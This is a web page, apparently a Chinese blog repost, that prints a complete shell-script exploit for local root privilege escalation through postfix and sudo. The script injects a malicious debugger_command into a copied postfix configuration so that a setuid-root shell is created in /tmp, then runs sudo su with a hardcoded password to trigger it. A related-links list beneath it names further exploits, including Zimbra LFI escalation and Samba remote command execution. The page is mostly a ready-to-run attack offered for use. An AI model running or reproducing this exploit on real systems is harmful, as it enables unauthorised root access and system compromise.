sudo protection bypass exploit

简介: #!/bin/sh## root shell exploit for postfix + sudo# tested on debian powerpc unstable## by Charle...

#!/bin/sh
#
# root shell exploit for postfix + sudo
# tested on debian powerpc unstable
#
# by Charles 'core' Stevenson <core@bokeoa.com>

# Put your password here if you're not in the sudoers file
PASSWORD=wdnownz

echo -e "sudo exploit by core <core@bokeoa.com>/n"

echo "Setting up postfix config directory..."
/bin/cp -r /etc/postfix /tmp

echo "Adding malicious debugger command..."
echo "debugger_command = /bin/cp /bin/sh /tmp/sh; chmod 4755 /tmp/sh">>/tmp/postfix/main.cf

echo "Setting up environment..."
export MAIL_CONFIG=/tmp/postfix
export MAIL_DEBUG=

sleep 2

echo "Trying to exploit..."
echo -e "$PASSWORD/n"|/usr/bin/sudo su -

sleep 2

echo "We should have a root shell let's check..."
ls -l /tmp/sh

echo "Cleaning up..."
rm -rf /tmp/postfix

echo "Attempting to run root shell..."
/tmp/sh

目录
相关文章
Zimbra 0day exploit / Privilegie escalation via LFI
# Exploit Title: Zimbra 0day exploit / Privilegie escalation via LFI # Date: 06 Dec 2013 # E...
1387 0
Using CURL to exploit LFI to RCE from command line
 http://www.youtube.com/watch?v=kf5kZIKtSO0&feature=player_embedded ...
961 0
|
Shell
Samba MS-RPC Remote Shell Command Execution Vulnerability
 http://www.securityfocus.com/bid/23972/exploit
751 0
|
Linux
Linux Kernel Controller Area Network Protocol Local Privilege Escalation Vulnerability
http://www.securityfocus.com/data/vulnerabilities/exploits/42585.
789 0
|
移动开发 Unix 网络协议
Vuln: IBM AIX FTP Server 'NLST' Command Information Disclosure Vulnerability
use IO::Socket; $|=1; print "--== ~ AIX5l w/ FTP-SERVER REMOTE ROOT HASH DISCLOSURE EXPLOIT ...
794 0
|
Windows 网络协议 Python
keimpx: Check for the usefulness of credentials across a network over SMB
Introduction============keimpx is an open source tool, released under a modified version ofApache License 1.
875 0
|
Linux
Linux Kernel 'fasync_helper()' Local Privilege Escalation Vulnerability
http://www.securityfocus.com/data/vulnerabilities/exploits/37806.
753 0
|
安全
HP StorageWorks 1/8 G2 Tape Autoloader - privilege escalation, DOS
A vulnerability was found in Web Administration Interface of device HP StorageWorks 1/8 G2 Tape Autoloader.
1040 0